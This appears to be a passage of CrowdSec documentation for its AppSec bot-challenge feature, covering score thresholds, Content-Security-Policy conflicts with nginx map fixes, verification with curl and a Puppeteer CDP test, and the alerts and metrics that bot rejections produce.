| Collection                                      | Threshold config to load                                | Rejects at |
| ----------------------------------------------- | ------------------------------------------------------- | ---------- |
| `crowdsecurity/appsec-bot-challenge`            | `crowdsecurity/appsec-bot-challenge-scoring-balanced`   | `>= 75`    |
| `crowdsecurity/appsec-bot-challenge-strict`     | `crowdsecurity/appsec-bot-challenge-scoring-strict`     | `>= 45`    |
| `crowdsecurity/appsec-bot-challenge-permissive` | `crowdsecurity/appsec-bot-challenge-scoring-permissive` | `>= 100`   |

Start with the default, then read `score_reasons` on real rejections before you move it. [How a request is scored](whats_included.md#how-a-request-is-scored) covers what each threshold buys you.

Once installed, see [default configuration](whats_included.md) for a tour of the behavior you just enabled — none of it requires an extra install step.

## Content-Security-Policy

Every challenge response carries its own `Content-Security-Policy` header. The challenge page runs an inline script and an inline style, and starts the proof-of-work worker from a `blob:` URL, so it needs a policy that allows all three. The AppSec component always sets the same permissive one:

```
default-src 'self'; script-src 'self' 'unsafe-inline'; style-src 'self' 'unsafe-inline'; img-src 'self' data:; worker-src 'self' blob:;
```

:::note
This policy is fixed: there is currently no configuration option or hook helper to change the challenge's `Content-Security-Policy`, so a conflict with your own has to be solved on the web server side.
:::

If your web server also sets a `Content-Security-Policy`, that policy is _added_ next to the challenge's instead of replacing it. The browser then receives **two** policies and enforces both: something is only allowed if _every_ policy allows it. A site policy without `'unsafe-inline'` or without `blob:` therefore blocks the challenge page even though the challenge shipped a permissive policy of its own, and the visitor is stuck on a page that can never solve anything.

The symptom is a blank or frozen challenge page with `Refused to execute inline script …` or `Refused to create a worker …` in the browser console, while [the metrics](#metrics) show challenges being requested but never submitted.

The fix is to **set your own policy only when the response does not already carry one**, so that the challenge's header is the one the browser gets. In nginx, map the policy already set on the response to your own, and add the header from that map:

```nginx
http {
    # ... your policy when the response has no CSP yet, empty otherwise
    map $sent_http_content_security_policy $hdr_csp {
        ""  "default-src 'self'; script-src 'self'; object-src 'none'";
    }

    server {
        # ...
        add_header Content-Security-Policy $hdr_csp;
    }
}
```

The map has no `default`, so `$hdr_csp` is empty for any response that already carries a policy — the challenge page among them — and nginx does not add a header whose value is empty.

If you serve several sites with different policies, feed `$hdr_csp` from a second map keyed on `$host` instead of a literal:

```nginx
http {
    # the policy each site wants
    map $host $host_csp {
        "www.example.com"   "default-src 'self'; script-src 'self'; object-src 'none'";
        "shop.example.com"  "default-src 'self'; img-src 'self' data:";
        default             "default-src 'self'";
    }

    # ... but only on a response that has no CSP yet
    map $sent_http_content_security_policy $hdr_csp {
        ""  $host_csp;
    }

    server {
        # ...
        add_header Content-Security-Policy $hdr_csp;
    }
}
```

Since an empty value means no header at all, `default ""` in the first map is how you leave a host without any site policy.

:::note
Side effect: an application of yours that sets its own `Content-Security-Policy` also keeps it, since nginx no longer adds the site policy on top of it.
:::

## Verification

Hit a protected route from a clean client (no cookie): you should receive the challenge HTML:

```bash
curl -i https://your-protected-site.example/some/page
# expect a 200 with a small HTML body containing the challenge script,
# and a Set-Cookie for __crowdsec_challenge once the challenge is solved.
```

Tail the CrowdSec log and send a garbage payload to `/crowdsec-internal/challenge/submit` (e.g. with `curl`): the response body is `{"status":"failed"}` and the log shows a `challenge validation failed: …` line at error level. To see the `on_challenge_submit rejected` line, use the CDP test below. Each failed submission creates an alert on its own (see [What the alert looks like](#what-the-alert-looks-like)). The `crowdsecurity/appsec-bot-challenge-too-many-submissions` behavioral scenario fires on more than 5 submissions within seconds, failed or not, and appears in `cscli alerts list`.

### Get rejected as a bot (CDP)

To see the bad-bot rejection path end to end, visit a protected route with a browser driven over the **Chrome DevTools Protocol (CDP)**. The fingerprint library flags CDP as a high-severity automation signal, rejecting it. Any CDP-based automation triggers it: [Puppeteer](https://pptr.dev/), [Playwright](https://playwright.dev/) with Chromium, or plain Chrome launched with `--remote-debugging-port` (or open debug-tools).


Example Puppeteer script

```js
// node cdp-check.js — drives Chromium over CDP, so the challenge should reject it
const puppeteer = require("puppeteer");
(async () => {
  const browser = await puppeteer.launch({ headless: false });
  const page = await browser.newPage();
  await page.goto("https://your-protected-site.example/some/page", {
    waitUntil: "networkidle0",
  });
  console.log("status:", (await page.content()).length, "bytes");
  await browser.close();
})();
```



The browser solves the proof-of-work and submits a valid challenge, but the fingerprint carries the `cdp` signal, worth 100 points on its own. Tail the log and you should see the rejection:

```
level=info msg="on_challenge_submit rejected" automation=true is_bot=true platform=Linux reason="request score 115" signals="[cdp utc_timezone]" source="::1" timezone=UTC ua="Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/151.0.0.0 Safari/537.36"
```

`reason` reports the score that crossed the threshold. Here the container also reported a UTC timezone, so `utc_timezone` added its 15 points on top of `cdp`.

A clean browser (no automation, no DevTools attached) visiting the same route gets the cookie and passes.

### What the alert looks like

A rejection is not just a log line. It becomes an alert with kind `bot-detection`:

```
$ sudo cscli alerts list --kind bot-detection --limit 1
+------+--------+-------------------------------------------+---------+----+-----------+----------------------+---------------+
|  ID  |  value |                   reason                  | country | as | decisions |      created_at      |      kind     |
+------+--------+-------------------------------------------+---------+----+-----------+----------------------+---------------+
| 2019 | Ip:::1 | crowdsecurity/rejected-browser-submission |         |    |           | 2026-08-18T11:41:11Z | bot-detection |
+------+--------+-------------------------------------------+---------+----+-----------+----------------------+---------------+
```

Inspect it to see why the client was refused:

```
$ sudo cscli alerts inspect 2019 -d

 - Context  :
+------------------+--------------------------------------------------------------+
|        Key       |                             Value                            |
+------------------+--------------------------------------------------------------+
| bot_detected     | true                                                         |
| challenge_event  | rejected                                                     |
| fail_reason      | request score 115                                            |
| fingerprint_id   | FS1_000010000000000100000_00010h02ba_1280x1024c02m08b00011h4 |
|                  | 0bcfb_f10001111000101111000111111111e00000000p1100h-2d436_0h |
|                  | 6526db_1h-53968_en2tUTC_h-48c_0100h6ae994                    |
| operating_system | Linux                                                        |
| request_score    | 115                                                          |
| score_reasons    | cdp=100,utc_timezone=15                                      |
| target_uri       | /                                                            |
| user_agent       | Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML,   |
|                  | like Gecko) Chrome/151.0.0.0 Safari/537.36                   |
+------------------+--------------------------------------------------------------+
```

`score_reasons` is the field that explains the decision. See [The alerts it produces](whats_included.md#the-alerts-it-produces) for the full field reference and how these look in the Console.

If you don't see any challenge activity after a reload, double-check that:

- The new appsec-config is listed in your AppSec datasource (`appsec_configs:`).
- The bouncer is forwarding `/crowdsec-internal/challenge/*` paths unchanged.
- Your web server is not adding a `Content-Security-Policy` of its own on top of the challenge's, see [Content-Security-Policy](#content-security-policy).

## Metrics

Bot detection exposes the challenge lifecycle as Prometheus counters and surfaces a summary in `cscli`. The funnel is `requested` → `submitted` → `accepted` (`solved` or `granted`) or `rejected` (`protocol`, `submission`, or `cookie`).

The dedicated `bot-detection` section shows the per-engine breakdown:

```
$ sudo cscli metrics show bot-detection
+----------------------------------------------------------------------------------------------------------------------------------+
| Bot Detection Metrics                                                                                                            |
+-----------------+-----------+-----------+--------+---------+--------+-------------------+----------------------+-----------------+
| Bot Detection   | Requested | Submitted | Solved | Granted | Exempt | Protocol Failures | Submissions Rejected | Cookies Invalid |
+-----------------+-----------+-----------+--------+---------+--------+-------------------+----------------------+-----------------+
| 127.0.0.1:7422/ | 3         | 2         | 1      | -       | 2      | -                 | 1                    | -               |
+-----------------+-----------+-----------+--------+---------+--------+-------------------+----------------------+-----------------+
+----------------------------------+
| Bot Detection — Exempted         |
+-----------------+--------+-------+
| Appsec Engine   | Reason | Count |
+-----------------+--------+-------+
| 127.0.0.1:7422/ | static | 2     |
+-----------------+--------+-------+
| Total           |        | 2     |
+-----------------+--------+-------+
+----------------------------------------------------------+
| Bot Detection — Rejected                                 |
+-----------------+------------+-------------------+-------+
| Appsec Engine   | Kind       | Reason            | Count |
+-----------------+------------+-------------------+-------+
| 127.0.0.1:7422/ | submission | request score 115 | 1     |
+-----------------+------------+-------------------+-------+
| Total           |            |                   | 1     |
+-----------------+------------+-------------------+-------+
+-----------------------------------------+
| Bot Detection Infrastructure Metrics    |
+---------------------------------+-------+
| Metric                          | Count |
+---------------------------------+-------+
| Signing key regenerated         | 1     |
| Signing key evicted             | 0     |
| Re-obfuscation (dynamic module) | 1     |
| Dynamic module evicted          | 0     |
+---------------------------------+-------+
```

Read the funnel across the first table: 3 challenges served, 2 submitted, 1 solved and 1 rejected. The `Exempt` column counts requests an exclusion config skipped, here 2 static assets. The `Rejected` table groups by the reason string, so with the shipped configs it doubles as a histogram of the scores you are turning away.

The top-level appsec table also gains a three-column challenge summary:

```
$ sudo cscli metrics show appsec-engine
+-------------------------------------------------------------------------------------+
| Appsec Metrics                                                                      |
+-----------------+-----------+---------+---------------+--------------+--------------+
| Appsec Engine   | Processed | Blocked | Ch. Requested | Ch. Accepted | Ch. Rejected |
+-----------------+-----------+---------+---------------+--------------+--------------+
| 127.0.0.1:7422/ | 12        | 1       | 3             | 1            | 1            |
+-----------------+-----------+---------+---------------+--------------+--------------+
```

The full list of Prometheus metric names and labels lives in the [Application Security Engine section of the Prometheus reference](../../observability/prometheus.md#application-security-engine).